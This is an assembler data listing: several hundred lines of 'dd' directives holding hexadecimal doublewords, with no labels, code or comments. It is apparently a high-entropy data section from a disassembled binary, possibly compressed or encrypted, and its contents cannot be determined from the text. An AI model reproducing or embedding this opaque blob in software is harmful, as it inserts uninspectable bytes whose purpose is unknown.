		dd 0C8736C2Ch, 6497EF00h, 94491838h, 9B28119Dh,	2817F980h
		dd 9F7C76EEh, 0D03E7F4Bh, 0FA00E723h, 0C4CE56A3h, 0F7170780h
		dd 50BC290Ch, 0F9529A77h, 0F0CC374Bh, 1C91E2h, 112DDE24h
		dd 0EFE0C829h, 0E620C7E2h, 0EA2C1435h, 0C00344FEh, 7C92070Ch
		dd 379D498Eh, 8F7C0090h, 3511A734h, 0D7FF3809h,	14D8604Eh
		dd 94485541h, 8C489473h, 0A2437CB8h, 0D7E93C02h, 0E850B7EAh
		dd 2185E230h, 0CCD838h,	7FEFC372h, 8EFCB5D9h, 469D4905h
		dd 0A605FA93h, 703AD7CCh, 6D0F6523h, 2C12B17h, 0E01DDB4h
		dd 908B9640h, 9101490Eh, 1E86BDF8h, 3B3AD8DCh, 7E2390h
		dd 621B0E63h, 845E952Eh, 38714440h, 903C8Dh, 125351BFh
		dd 674A5876h, 0A80C100h, 668E3697h, 5E066087h, 0B0820C7h
		dd 0A333CCF9h, 8E715A01h, 9604FD38h, 21390998h,	5A013C53h
		dd 10BC5B3Ah, 94FC864Eh, 0C5803E06h, 0F501DE8Eh, 73000F3h
		dd 7F4578CAh, 26B89701h, 0B3405795h, 0C8395260h, 81CFCC78h
		dd 0B08E6C5Ah, 0A748000Eh, 0C59D235Ah, 13BF30B0h, 1434D118h
		dd 69420900h, 36907A82h, 86F4D2h, 0E26C7EC3h, 219CFD13h
		dd 96F89E0Ch, 0F1407808h, 5A08AE0Ch, 0C4908E68h, 884C4A3Eh
		dd 6A99F000h, 76100DD8h, 0D06801DCh, 488044A4h,	0C22EE8A6h
		dd 74A85650h, 4BE5AFFEh, 0C0328870h, 894A2EECh,	22CDB500h
		dd 149D80C3h, 0F008608Ch
		dd 483AEE25h, 5245F001h, 56DB91A0h, 848AC0h, 0F5996159h
		dd 0CC492E96h, 370FCB73h, 82A266E5h, 80F6EB79h,	406B1380h
		dd 817E0144h, 8C07A4D5h, 6F088CDDh, 4C2099h, 742643C8h
		dd 20D05E4Fh, 19B51D07h, 22001896h, 2956867Dh, 592CA1FBh
		dd 3D01863h, 38E2A24Dh,	0D9009014h, 0FF70156h, 0EC737661h
		dd 0FFA60716h, 0FA209CFCh, 47868F90h, 9AE987A1h, 0C3EEF136h
		dd 0FB131800h, 9B8BB802h, 0D0720118h, 0DD6A3814h, 0A899B2F5h
		dd 4442307Bh, 45817008h, 407164A5h, 4143CA3Ah, 9AC80726h
		dd 70D937E7h, 0BE9BC0DAh, 5A820905h, 4BC213A3h,	0A8444804h
		dd 43B7007Dh, 9D587742h, 8CC4789h, 1CCA21B1h, 7E1B745h
		dd 906CADFEh, 3384CE69h, 62BB9600h, 58504E2Fh, 14071521h
		dd 0D9008C9Dh, 0D18CC971h, 1A031C66h, 10655F1h,	23209895h
		dd 7C090C34h, 0F7319B14h, 0AAC86703h, 0B9278D10h, 898C519h
		dd 6FD021FFh, 2F4CC800h, 6C823E67h, 902D486Eh, 7F697803h
		dd 57F042ABh, 7A520933h, 0C86D022Ch, 319D10ACh,	75DE108Ah
		dd 863F1FC8h, 97048157h, 325E4E56h, 1CD2330h, 8E6F5AADh
		dd 882F1888h, 5A4CA649h, 7EB900D5h, 0A5118214h,	79693E64h
		dd 0F784BF81h, 8B30C665h, 8BA0FB8h, 648DCC54h, 58F14E7Ah
		dd 3175FC52h, 8172C444h, 65223546h, 43CC3800h, 898DA350h
		dd 0BC6903C1h, 2A169761h, 47C893B3h, 0A9C00C22h, 68C4F805h
		dd 0AA28056Fh, 3A88E76Ah, 902019Ch, 1217D854h, 78276D4h
		dd 3C860F7Fh, 1FE07FE0h, 30474506h, 4D28A760h, 3E28DFF2h
		dd 920FA2C1h, 0DC993FFBh, 0D02080A0h, 7E84B344h, 7225F2DEh
		dd 88866D7h, 61172149h,	0BB84BBh, 7FE4DBC4h, 9A09B969h
		dd 81C31EE5h, 4E295466h, 0CA3C60h, 6F09DFD6h, 0C42C12D3h
		dd 713821C0h, 584EB2E0h, 5918D267h, 0D33D0817h,	790220C0h
		dd 0F740E0h, 8FF181E8h,	577C33DEh, 13767801h, 4A5B2E7Ah
		dd 1FBD92D0h, 184E2148h, 5D027067h, 0AE90E707h,	78B08CCFh
		dd 0C0C1EE3Ch, 0FF45D858h, 0BA0F7DC6h, 0A0D71C86h, 71E38D5Ch
		dd 0B61500C1h, 704D1B9Ah, 431FE469h, 45C32DCBh,	0A65040h
		dd 0E59B5340h, 0C13B47D5h, 71A29207h, 5CB5C242h, 0D7029040h
		dd 6349880h, 0BDD386C9h, 0A475184Dh, 0B32ED200h, 6872B4F2h
		dd 56C80C3Fh, 3E205717h, 0C476542Bh, 7D84BE01h,	5318B8DEh
		dd 866688h, 43CFE984h, 22676C1h, 4236F566h, 725C0071h
		dd 36ADC9CCh, 501D9AEh,	5BE90A0Bh, 3FE16945h, 3017CC42h
		dd 0B111E07Ch, 33887F4Eh, 0E0040780h, 0EB3F4DDh, 0E24CAA0Ah
		dd 0C1C517A0h, 0D96C0220h, 30066C48h, 748949BDh, 0B01947Ah
		dd 0A13755CFh, 89805D7h, 738A217Ch, 12459407h, 67B15586h
		dd 0AC50C2BDh, 48CFD2D1h, 2F185833h, 0F167A9C8h, 90C9FA00h
		dd 0DDC56EEAh, 0D73022Dh, 0B1029D3Ah, 31443847h, 0BA3A9860h
		dd 8683653Bh, 2417EA2Ah, 0F1CF7B78h, 0E02D918Ch, 48C02E0h
		dd 0CF0F947Eh, 207B6275h, 2F947796h, 271AD60Ah,	0C105E05Dh
		dd 98409A22h, 7A564E50h, 2960906Eh, 91A48FBDh, 947B8079h
		dd 0A55DCF04h, 708D0034h, 0DEB4EB94h, 4A6CC07Ah, 401EC019h
		dd 0E5414D76h, 380A33C2h, 2C05CF0Dh, 9009F353h,	0ED4F6083h
		dd 0B04E3CE9h, 0EDC03288h, 3E9C6A65h, 5A0162CBh, 0AB28554Ah
		dd 0A2442386h, 0D20F3034h, 2FE54C0Ch, 0A039CBh,	0B1504247h
		dd 0A3A1C21Ch, 5B550400h, 1326BD69h, 1C214C0Eh,	30C88818h
		dd 187457CBh, 811C091h,	7B84BC80h, 448C88DEh, 0C4FF6450h
		dd 0CB50A44Fh, 0D3296E2Ch, 7D016416h, 74EBEE0h,	506010Eh
		dd 0CBEE26E0h, 0B0915034h, 923F002Bh, 0D0387BE3h, 2B488FF2h
		dd 0E4B85044h, 2853A45Ch, 4109A0C0h, 477FE46h, 0BC8ED41Ch
		dd 0A7C07088h, 0AEC90Ah, 5C45C8B4h, 6292CF4Eh, 2C18A548h
		dd 771110DCh, 7C84B180h, 448CB0DEh, 0B900674Fh,	0B16FC984h
		dd 1AB59CFh, 0A56DFF8Bh, 80D4E187h, 90E30E9h, 0C194A7Eh
		dd 6153C468h, 0A5603B08h, 9161320h, 0A48D018Ah,	0DE9E9A2Eh
		dd 483EE1CBh, 48C15B4h,	4EBFE07Ah, 408E0Fh, 43E00219h
		dd 59263h, 0F6279EAAh, 45529567h, 0E9D5E8C0h, 0B0CEC37Bh
		dd 0A593518Ch, 0D2CC46F4h, 2AB000B1h, 13DE6033h, 8834CE31h
		dd 2187CFE1h, 0B0410318h, 7C15FE2Fh, 5ABF910Ah,	465C7CDAh
		dd 0A17F1D3Dh, 8840151Eh, 0BFCEB035h, 7064599Eh, 0B1E8D700h
		dd 4EC85C67h, 0EABC5854h, 74032C71h, 964ACF36h,	0EBD80CA0h
		dd 54205D17h, 98CDCC2Ah, 8A9E4F0Ch, 127F5049h, 0FCE5613h
		dd 0A6A4C128h, 17DF027Dh, 91B4976Fh, 776E8035h,	48B7D22Ah
		dd 21185C15h, 9ED841C5h, 45736D1Ch, 72112CE4h, 7184B281h
		dd 78C7DEDEh, 84BA6200h, 2DB2DECh, 0C35E0540h, 0C4872246h
		dd 3BEA217Bh, 0C1E047C6h, 454E9242h, 0A711EE80h, 90881C0h
		dd 31CE4A7Ch, 1015113Fh, 9349F4h, 0E9E4C8F9h, 7B73D787h
		dd 6B3A037Eh, 0F3027857h, 9C4B0F2h, 0C047C205h,	0FB210E2h
		dd 72EB23C8h, 0BE034420h, 0D007D71h, 21549B84h,	9437A76h
		dd 38721BD8h, 3C416412h, 8BF1809h, 80DE7A84h, 654052C4h
		dd 2B978487h, 546EA3Fh,	5820A075h, 1350A819h, 870D858h
		dd 5F4EB5E0h, 1780370h,	4C125EE0h, 48C843F2h, 8A22C0A0h
		dd 2BB4647h, 4A7A090Ah,	2E604739h, 0BF800344h, 3002EB1Ch
		dd 93477D04h, 75061A2h,	0A94F419h, 0C06DCF21h, 9594728Bh
		dd 1CD3E400h, 79612038h, 9ACF0886h, 0E81D5EA6h,	81008C2Ah
		dd 63BE5BAh, 3E9295h, 7B9BAA55h, 0F946B20Ch, 89B8AC00h
		dd 7784D52Bh, 45750CC0h, 7AD9D34Fh, 0CAE1D4A0h,	327711C0h
		dd 2856B36h, 0FCFB7B24h, 8842C40Bh, 0ECE4146Dh,	1E821C85h
		dd 4D848065h, 902A2BF2h, 0B2553B90h, 80D074B4h,	118A2D34h
		dd 0CF3DA01h, 594A5645h, 0F520E340h, 39A43230h,	0F4B01488h
		dd 0BC12E07Bh, 0A88B174Eh, 0E0004F48h, 9344C4F1h, 0DC007F88h
		dd 731E9572h, 0B24E1B7Eh, 26417560h, 100623Ah, 66425505h
		dd 0E1A42351h, 580CA4C7h, 0F3DEA706h, 90603C12h, 3CBE4D2Fh
		dd 0C1B1BD38h, 80D92CC0h, 0BA527DC9h, 58C2FA7Fh, 78E868A2h
		dd 94EF588Ch, 1DB8D128h, 61B6BF8h, 0C87B0A9Ah, 0C05C802Eh
		dd 0E7C6FF42h, 6073C4B4h, 0E69806h, 0D139544Eh,	4CB66850h
		dd 48CE9E13h, 0C2F3A043h, 9AF8002Fh, 6326B033h,	621D6D90h
		dd 29CA3A7Ch, 4183D0D9h, 265969Eh, 0C8315F38h, 4CE68B57h
		dd 4656D094h, 2C9B0252h, 0A3C3E170h, 0A842D4C8h, 6FDE2h
		dd 9A7166AFh, 538A7E05h, 546F2F02h, 8BFC4AEAh, 0A8C0FBCh
		dd 4676401Ah, 0D999004Eh, 74FDD4E2h, 4CC8182Eh,	40BC2151h
		dd 0A025A4A8h, 78575C03h, 0B07B03F5h, 3A1E70C9h, 0BE12DFC1h
		dd 0D40C54A3h, 0E8D3897Dh, 9C9029EFh, 26420D3Eh, 0E4295488h
		dd 84465428h, 71090D02h, 3C30614Ah, 151080A5h, 0E7BC090Fh
		dd 3352112h, 0C0F4B90Ch, 0A9466223h, 5048CA2Fh,	0CB00DC75h
		dd 2F5A732h, 0B9E28C9h,	0EA89A2D5h, 0CB755410h,	0FC3D4628h
		dd 0A3568305h, 60003630h, 0BA13DDD0h, 8B8B0CFh,	63A2BE4Dh
		dd 7346B420h, 7084B507h, 48C468DEh, 84BD6340h, 42394C3Eh
		dd 1CC784CEh, 7C91B21Ah, 24D00B93h, 55AB0AD0h, 0DC8C6DD8h
		dd 5700C590h, 0CD8F0B7Ch, 0FD690661h, 4B4F6420h, 23842F88h
		dd 0E0CC007Ch, 4F952F4Ah, 59FABD12h, 69E6CC0Fh,	693C0448h
		dd 99CC852h, 99063C03h
		dd 0C015F212h, 0BA394EFBh, 0C2CD45C0h, 2002046h, 849D30F7h
		dd 6AC4C63h, 0BE34C5CFh, 0E100514Fh, 522AA78Dh,	4402DD4h
		dd 829E4EF7h, 0C44CD354h, 5C0B48Ch, 947F048Ch, 0CE7DCF08h
		dd 7489130Ch, 800B1C0Eh, 33BE661Ah, 0C2110497h,	0E424C0D2h
		dd 0CE492FCCh, 0C61D0028h, 0ED2302D1h, 0EEFB00DBh, 4557A5A3h
		dd 8B27D96h, 0E35FD802h, 7AC85463h, 0A7C11CB0h,	8076607Eh
		dd 64FCE12h, 1A5B1080h,	4B88B8F1h, 881C131Fh, 0A61141CCh
		dd 8A924DAAh, 0C03DC8BCh, 90A047DFh, 8F71FC07h,	4C31AB70h
		dd 71806FEAh, 0DFD7E117h, 0D894F213h, 87D86204h, 7188E8CEh
		dd 8B7DDC0h, 0BEA90BB0h, 0A0823504h, 210031D2h,	0B99B29Eh
		dd 3C7FD6CBh, 890A8881h, 84D7E0A5h, 0E040EE4Ah,	0D0D2AC25h
		dd 13F801F4h, 483FBE15h, 321E8B7h, 167CC55Ch, 14209255h
		dd 61CFEA4Bh, 16B219CBh, 0E4EB0254h, 0CD140038h, 94AD519Bh
		dd 0F2099E97h, 456AD9E4h, 6038C4F8h, 7AF599C5h,	0F1D41FDDh
		dd 2A78306Fh, 3639F769h, 0E3C0542Ch, 90DEB800h,	0F3288B8Fh
		dd 2D410030h, 0B5D5EE12h, 2271944Fh, 20B99F6Fh,	0C954721Dh
		dd 40D56520h, 841CDB6Eh, 0C280E9C5h, 42880E4h, 0C0441297h
		dd 0C130F4DEh, 0A76E9A10h, 3CF20576h, 91EE462Eh, 9F47BC68h
		dd 900F829h, 277C234Bh,	31810340h, 36E5B521h, 0C121848Ch
		dd 243E2A0h, 4F5C460Bh,	23382E6Eh, 69150030h, 0CEA5D577h
		dd 7806BF1Bh, 52C0F758h, 0B109D88Ch, 94F48090h,	8A93637Ah
		dd 0C4D15D1Fh, 67028593h, 41F55FB7h, 801556E0h,	2CE6705Bh
		dd 0E476C501h, 0AC69505Dh, 82A6C48Ch, 1B26DDF9h, 2F81F45Ah
		dd 7127D8FBh, 39BC0838h, 0C82F038Ch, 0FB2CF91Eh, 0D218CCD8h
		dd 4C6240C0h, 0AAC01FABh, 708C5B94h, 8D32E40Ch,	0D7B05Eh
		dd 0C1A59247h, 4950AAE6h, 8E3A1DECh, 99D5B445h,	3CF20CA2h
		dd 830B30h, 6C1C5AF5h, 5273ACB9h, 6A69C3Ch, 0C92F1034h
		dd 0DA283BB9h, 0D923F680h, 8C129586h, 39B03802h, 82F7091Dh
		dd 7FAEB4h, 6DFEC002h, 3B6448A5h, 1188D263h, 0EB5BFC2Eh
		dd 1AB76422h, 7A599479h, 0B404D918h, 0DBCA2252h, 80D788D0h
		dd 0FC6C0B5Eh, 6864D039h, 0A62892E8h, 7D18B046h, 31494BBEh
		dd 51100BBh, 26942C5Dh,	77255325h, 0A90480BEh, 257A9ECEh
		dd 0A008986Ah, 0F9C818CCh, 509A76EBh, 4C26DF09h, 0E4B4C593h
		dd 0BE8B6150h, 9107D472h, 80EFEDAFh, 7EBBBFB8h,	425F239h
		dd 8D4C84C1h, 0B8F7ECB2h, 21831C0h, 0CB9C09EBh,	0E8803FBAh
		dd 0D9C6F433h, 465E3C9Eh, 7F5C003Ch, 514E4A78h,	0F32D0894h
		dd 5280CDEEh, 2F34C7F0h, 0D491024Bh, 99C1B182h,	3F441C47h
		dd 0F5BCDF60h, 9FF62100h, 6EDEF36Ah, 4044B613h,	7D35AB65h
		dd 0D91F0F00h, 0E10B280h, 0B9FA033Fh, 0D244450Bh, 9EDC712Dh
		dd 4216434Ch, 3048E2E0h, 0CC78A49Bh, 4629FB07h,	0C0F51F1Bh
		dd 0C2E09821h, 7F27819Fh, 0FC0ABC00h, 0C823ED6Bh, 4B1BDA00h
		dd 0F295F4B1h, 74120203h, 42550417h, 220B90C6h,	14C13AAFh
		dd 0EFCA1F9Ch, 18A4233Dh, 0F808611h, 114A7F09h,	1258249Eh
		dd 55090017h, 0E9305647h, 2A4E668Eh, 0AFFAD020h, 3D6EE458h
		dd 5316E32Bh, 0E83420BEh, 5400D410h, 34829D8Bh,	0F35184h
		dd 0B9A39875h, 437B379Bh, 591D0503h, 1C40DFC0h,	7042C139h
		dd 0BF224DB1h, 0B2F8A4B2h, 8807725Bh, 0ABBEA673h, 4C6CA23Ah
		dd 798451B5h, 2BC187Ah,	0EA4DCC69h, 988B3F9Fh, 3E38B7h
		dd 3B8B6002h, 4525E1Ch,	91C8DEA0h, 8E30C2B6h, 62F3C122h
		dd 681D4108h, 2C129C34h, 932DAABh, 0FC81C1DEh, 34F6A621h
		dd 1B2F77ACh, 0E5340912h, 6034E42Ch, 4B4DC830h,	0FB7C42A5h
		dd 7705C60Ah, 0CAC7F781h, 28785475h, 0B08C3CBCh, 1BCEE74h
		dd 50B6D405h, 3373D134h, 706201A4h, 24F887C5h, 0C76B3AECh
		dd 1CC15BD8h, 81054F69h, 3046F3D8h, 0EA79E802h,	0C98D8F2h
		dd 233A1340h, 0BE184118h, 0BD405602h, 3E61C177h, 0BC4C4D76h
		dd 0F00453E1h, 0C0A1D5E1h, 0CE120C10h, 74002C83h, 50C0AFA2h
		dd 1DE54A87h, 806899ADh, 370B7989h, 0A3E8BC5h, 2C6B8057h
		dd 0C04AC676h, 20DC000Dh, 743923E8h, 32004775h,	9A7E51BAh
		dd 9993A8h, 0D4FB5EEEh,	0F45B965Fh, 0CF6D8301h,	71D87020h
		dd 1426F8h, 0FB1305D6h,	861A2B19h, 0CD644800h, 7D91FFF3h
		dd 0E5323CAAh, 11423A00h, 349BD666h, 810095ECh,	0A6D916Bh
		dd 73867Fh, 0EEC05746h,	26B988E4h, 0EC22A00h, 3A0B6535h
		dd 42AA00D8h, 0BD7F6E72h, 7CEAD324h, 1D989000h,	22E9AD64h
		dd 0C5DA0087h, 0DCB0A3ABh, 49063A95h, 0E51706B3h, 0FD7531h
		dd 5BB68FE1h, 34073B15h, 1C6F4801h, 0B9CD11CFh,	0F2A0EF60h
		dd 0FDA400F1h, 0B8D719EBh, 7C01AF36h, 0F99BF52Ch, 0C8503CC7h
		dd 9E1AC2h, 0A5378BDDh,	9BB13EA3h, 0D7FBD300h, 0E5B30F53h
		dd 28B1A9h, 0DDCA66F7h,	56005145h, 1A23E701h, 0F08ADA9Fh
		dd 7E1700C2h, 0E5407582h, 0CA005A70h, 6E889CDEh, 25544Dh
		dd 6A8C012Eh, 8EFBF663h, 3DAF0C00h, 693F9C5Ah, 1E150323h
		dd 0AB2D6D62h, 78A9B000h, 7FEB5E4h, 27F400F2h, 0EBAEDC6Ch
		dd 88A052C6h, 7654EA46h, 8B0013F4h, 0FAD212F3h,	71956ABh
		dd 4D851F36h, 0E1F1A763h, 0ECB6419Dh, 43009B8Dh, 4AE41DE9h
		dd 0B51840h, 956C285Ch,	75E29939h, 6AA92F00h, 2EEBAF08h
		dd 70E460BFh, 7692103h,	0B707D2F2h, 94AF337Eh, 0B8FBC60h
		dd 58550F4Ch, 7C0DCAh, 0E5B28A1Ch, 9183EEDh, 0FB508093h
		dd 0AE96173Fh, 0C1B84FAFh, 619991A0h, 1F70CFFEh, 0C828EE60h
		dd 0B777CEh, 0D5AF20ECh, 7DD89F1Bh, 8BB6CF00h, 4BB95BF9h
		dd 5291CB7h, 0A281BD0Ch, 8CC6D82Dh, 32823A0h, 39CB8DFBh
		dd 0F243D0DBh, 0FDD30011h, 0A5F867B0h, 18907612h, 91BD9632h
		dd 3FB200A9h, 6F002D8Bh, 0D8A0033Ch, 0E74828h, 683A9FB3h
		dd 60AF882h, 3B13D900h,	4A880534h, 4E2D0E1Bh, 3D409D92h
		dd 6B40D13Fh, 37EE6000h, 63C8C5E9h, 80FF0026h, 84579B75h
		dd 86157D93h, 7DB023D6h, 8CE3C0Ch, 22611E6h, 8724A94Ah
		dd 484B0418h, 6720D2EAh, 77EF2D23h, 0C4BC032Ch,	4BEE3A68h
		dd 0F139F3F8h, 67ADE200h, 0D807135h, 1DFF0EE0h,	6880C32Ch
		dd 1B2A0214h, 654BBB04h, 0F880F1CCh, 369AC5Ch, 615D8A8h
		dd 0E8909AE3h, 0BC097CB1h, 0B963B0h, 9EAADB4Ch,	0C568003Bh
		dd 6F26886Bh, 0E70094DDh, 0EEABD361h, 7D502C1Ch, 0E3363972h
		dd 0F0865E01h, 0E4DC6DCBh, 0F624C8E8h, 0B500CE96h, 838C6C90h
		dd 0C49900CDh, 60CB8008h, 0EE0EADEFh, 20200A96h, 11B48E03h
		dd 5D480326h, 1E4FC7BCh, 8732F400h, 0E09CF2CCh,	28C03CB3h
		dd 1B2B5980h, 3DAF5BEh,	3326171Dh, 0C45558C0h, 95FBEDh
		dd 0C12F21BCh, 16663013h, 1D46EEC0h, 69FD26Ah, 11B545E0h
		dd 0B100A85Eh, 968A9D3Eh, 271AA051h, 0C401952h,	452C58AAh
		dd 0C607A80Ah, 0D3D03CA3h, 0F202EFEh, 7B23DE9Fh, 3D472F6Fh
		dd 932C50B1h, 0E5000E41h, 0A166DD17h, 391C7D70h, 26002510h
		dd 6B8F0237h, 0FA00F762h, 0C19734A6h, 71F4AC4Bh, 949102FEh
		dd 0D3C5A7F1h, 7D37E160h, 6406D090h, 8F8E63F4h,	0A5C1F5A0h
		dd 1040EE02h, 0A238D4EBh, 0ED58808Dh, 0C5601BC9h, 78914D35h
		dd 1DBE3100h, 0F55E9DD3h, 0C6FCAF00h, 0C946D2CEh, 0E210C0F4h
		dd 64B3BD43h, 118021C0h, 13DD901Bh, 0EF26DC2h, 7224271Ch
		dd 0EF5C93A3h, 0C6225CC8h
		dd 600B49Ah, 0E8A7A812h, 5B8389h, 0A9B71B40h, 0A4AA8048h
		dd 0DC00E27Eh, 0E468F45Eh, 71FA1A6Ah, 7E730ED0h, 0D640C167h
		dd 0B733C7F7h, 9472C300h, 41F4F9FDh, 0AE09074Ch, 0E0D156E1h
		dd 600FAA86h, 0E8193700h, 44880C07h, 9C7650D7h,	0A66029Fh
		dd 39A8B0AFh, 0D3DA4940h, 0F56E870Fh, 2C00B2A2h, 466B9E91h
		dd 0B2653F68h, 0BF6CBA07h, 4A6D3088h, 0F600F4CDh, 41EBDDC3h
		dd 21EABh, 714C995Eh, 2CE0F07Eh, 552FEC00h, 54CDAE18h
		dd 0F0286081h, 14EA75EBh, 87A4A600h, 0B68288A2h, 5AEC00DDh
		dd 1A24F9D5h, 0C600CF54h, 3830159Ah, 9B3C4FDh, 0EA2CEC94h
		dd 0B1C13010h, 0B728B900h, 2AE6FE71h, 32D07EEh,	0BCC08B01h
		dd 0B800644Eh, 3B9046F8h, 0E7C715Dh, 678ED4C9h,	7A3A3040h
		dd 0C70117EBh, 0C4758F6h, 85E89123h, 16260051h,	0E90124DBh
		dd 6800E065h, 5972FD19h, 17A655A7h, 40CC45CEh, 0D7BF1864h
		dd 0A03BA74h, 9C2ED2FEh, 9093C870h, 0AE3C50B1h,	0E6B0765h
		dd 0A0D9D40Fh, 0E6108DB0h, 4845EA00h, 803D2221h, 78584856h
		dd 0AA939C00h, 1DCAC337h, 3616302h, 5AC234DEh, 0BD550020h
		dd 40D71748h, 70FCC467h, 7F0024F0h, 0D328463Dh,	0F9CDCFA4h
		dd 0C06F0FE0h, 13373511h, 0E900B312h, 7A724A56h, 0FBF2AC0Bh
		dd 72419420h, 0C5C90037h, 76BEA134h, 68007152h,	490973FAh
		dd 255D154Bh, 0D8E89E87h, 0D70195D3h, 0B005F116h, 98F07BC4h
		dd 207D0625h, 40D1C508h, 48F670E5h, 50D7E4E5h, 0BC2ED80Fh
		dd 0C6176022h, 0CD55678h, 0EC231C38h, 9700C798h, 0E82534A4h
		dd 0E4AA4CE4h, 9C880028h, 49BABF1Bh, 0BB00243Dh, 0ABC4069Dh
		dd 42B057h, 1A46FFA8h, 6241C1DBh, 0E3A6971Eh, 924F7D84h
		dd 4FF204F2h, 0F817A430h, 17E97BA3h, 0D0EB07E6h, 6347E5E4h
		dd 8D268607h, 0D110E8A9h, 0FCB9083h, 0B96CC6DEh, 0B4DE600h
		dd 78B64A45h, 4157EB8Ch, 3EAA0002h, 1089A20Ah, 7907D27Bh
		dd 0C66327C8h, 98A8DC50h, 0A4D725ECh, 54B5444Eh, 190074C7h
		dd 66C23E70h, 0BFDB0BEh, 1599B52Bh, 4476E75Fh, 1E52601Bh
		dd 0BAD10041h, 892632A1h, 24607D85h, 0F6B70F52h, 5AC1F28Dh
		dd 0C93AFB19h, 870F1423h, 0EEDFA166h, 0FDC88BB5h, 504EC129h
		dd 6A240489h, 6FAC4DB9h, 5696BE01h, 23D98501h, 9D7DA0ADh
		dd 931C1157h, 0DC80AA1Ch, 0AB9C4B37h, 8B661964h, 6BB9B0FAh
		dd 9F70E0FCh, 1D6EFD4h,	0E754ABACh, 40F8B12Fh, 11EE35A9h
		dd 0C083060Bh, 96647505h, 0A0B5333Ch, 0FE84C11Fh, 0A0820F90h
		dd 16CFF21Fh, 9AFA76F8h, 6A12C02Eh, 310F7E63h, 8B1B0284h
		dd 6A8CE1F3h, 0BE9688BDh, 0EEC0BFCFh, 0BDA29BFCh, 257DA500h
		dd 9D01600Bh, 0D3076041h, 61C36DBFh, 0DC8060DDh, 0FF3D251Ch
		dd 2FE13495h, 23E13A24h, 8DBD0114h, 43924B9Dh, 99B189ACh
		dd 0FFA34C02h, 0A299D353h, 0FF2A3014h, 0DB75853Dh, 0D56FBAh
		dd 0BBE7B047h, 7BFC67Bh, 89017A9Eh, 56991EBDh, 167DD88Bh
		dd 74E90CC3h, 0AB3C5A08h, 0EE3FA661h, 0F8CD0F05h, 2E49BD22h
		dd 7D07D003h, 6B861C28h, 0EB5A3801h, 1725E6Bh, 117A0EC7h
		dd 14BD9D8Bh, 75007B6Bh, 867D4C74h, 0E401FCB1h,	0B5295A5Eh
		dd 81013035h, 0AF1BC3E3h, 800B830Fh, 0F2DB0BF5h, 13846A85h
		dd 70D114Fh, 0D242BB60h, 0BD310880h, 4E2163C5h,	85BD8361h
		dd 89B4BB3Bh, 8D89882Eh, 5A21ED22h, 0AD3BBE9Fh,	0D4001A23h
		dd 33B05346h, 0FCB60A09h, 203B85C7h, 3DE88061h,	0AD678908h
		dd 7F35FD17h, 0F996288Ah, 36F9F10Ah, 754B0E4Ah,	7261FF4Dh
		dd 0B96F2EDEh, 1C2D0009h, 0CB3FF77Ah, 33900F5h,	0C1F36F2h
		dd 2A079497h, 0E781525Fh, 0DB68950h, 108D485Eh,	71E529CEh
		dd 23EB4420h, 3BB987FFh, 60764D57h, 0A74630E2h,	41655800h
		dd 3DB503CEh, 4E79234h,	8D31DB8Ch, 0F69890FDh, 0F7A104C3h
		dd 2783147Fh, 0E3AEFD89h, 301AA2E1h, 505BBB9h, 84DA462Dh
		dd 48A2A2AEh, 24F9102Dh, 18B58662h, 6A509002h, 8396B7D7h
		dd 403D9135h, 5174D7FFh, 48E96085h, 6C0052CFh, 0EA13A717h
		dd 1E12989h, 0B8B6C4E8h, 21B11571h, 1FCDABh, 0C20438E9h
		dd 11195ADh, 0A108810Ah, 26B01C22h, 0FA4C00C5h,	71E470E6h
		dd 0B9788E9Bh, 0E8DA4E8h, 0FAF3CED8h, 5221664Bh, 0F2B60F5Fh
		dd 0E5E1B44Dh, 86F8B21Ch, 0A90748CDh, 39043110h, 60BE5ABAh
		dd 1DE6F3Eh, 7AE4E800h,	0D2F850EFh, 0FD9D0019h,	0EC0D4FBFh
		dd 0B916618Ah, 0DAFFC38Bh, 32E7C083h, 93994BCh,	4E8C14Ch
		dd 60636DFFh, 68D17FAEh, 3076C514h, 16C910D2h, 0D103758h
		dd 0F7660B32h, 0B2C85FE2h, 0CD5C6C10h, 5FDB0116h, 0D82BDCB3h
		dd 0AC31B96Bh, 538B0EC4h, 0BEE093A7h, 68216708h, 0A8505E29h
		dd 42D09080h, 0E62C04F9h, 0CE7800BEh, 486089D3h, 5E0724DEh
		dd 9385661Ah, 0D27DE53Fh, 38C6F3C0h, 0B5FF0826h, 752D2E49h
		dd 4A1EB6A0h, 0E10076D4h, 97B143BFh, 7496F2A3h,	59DF04B2h
		dd 815E1F39h, 0AD0F45DEh, 91B5F53Ch, 7924D98h, 1DB059FAh
		dd 313F0622h, 7C99EAB5h, 0F5B5DF2Dh, 0BC47B9Fh,	0CA0A1BDh
		dd 45D60481h, 851E4BBCh, 29DB30A5h, 0A4007A93h,	0BB7D0B75h
		dd 1670699h, 0A26EEF0h,	60613C54h, 240607Ch, 0ADBD1A2Bh
		dd 9DAA560Eh, 81576075h, 330994C7h, 0A5F74D0h, 77AD4364h
		dd 2CBE6990h, 116C5312h, 0E8602043h, 0A01D0007h, 4C4677C2h
		dd 8B5B88B7h, 59F342ABh, 7BDD820Fh, 0E82480CFh,	61F9A571h
		dd 54B53790h, 28680B5h,	4A469DB8h, 0B439EC00h, 636E35C8h
		dd 611C16E2h, 92C4EE1Bh, 33099881h, 585EC207h, 5932F3DFh
		dd 13DD40EEh, 0D5094EA3h, 2D88652h, 0D1A599Eh, 0BA8501A0h
		dd 0DF600201h, 0C83DC472h, 27B78047h, 76FEB642h, 814C509Bh
		dd 9B94E189h, 0F8F94B9h, 381BB94h, 8B1BA9BDh, 22C18324h
		dd 216D500h, 0B9E1D93Bh, 9A760D80h, 17A914A0h, 0B34AFA61h
		dd 0BC915455h, 0CEB1000Dh, 0E64FB2CAh, 37601D6h, 0FC6F8DC1h
		dd 0D9866061h, 16C43BA5h, 0D28E5062h, 75BD0921h, 8CAC7A1Eh
		dd 58EDDDC3h, 8BF256B8h, 0CA50F100h, 0BD896184h, 2C7C92C9h
		dd 93BCC1F6h, 0EBDEFFD9h, 7B607D8Fh, 0E9FFDFD9h, 1749DEB1h
		dd 811A116Fh, 5E66A5DCh, 4D28DEF4h, 4930156h, 5093923h
		dd 4D8E5B5Eh, 63C01D88h, 23A79F3h, 0B8D2514Bh, 0D1E0F9CDh
		dd 70FF2BF7h, 0C7940855h, 5B384B9Ch, 0A36EBBh, 49B27413h
		dd 12827CE8h, 9E4AE9D4h, 0FCE1C226h, 24FD4631h,	7420C08Bh
		dd 7A001746h, 896E4A78h, 0A6F0185h, 0D89E9C4Fh,	5D1DBD0Bh
		dd 0A5C308EAh, 0CF550C05h, 0A2EA776Ah, 0A24143EFh, 337F3018h
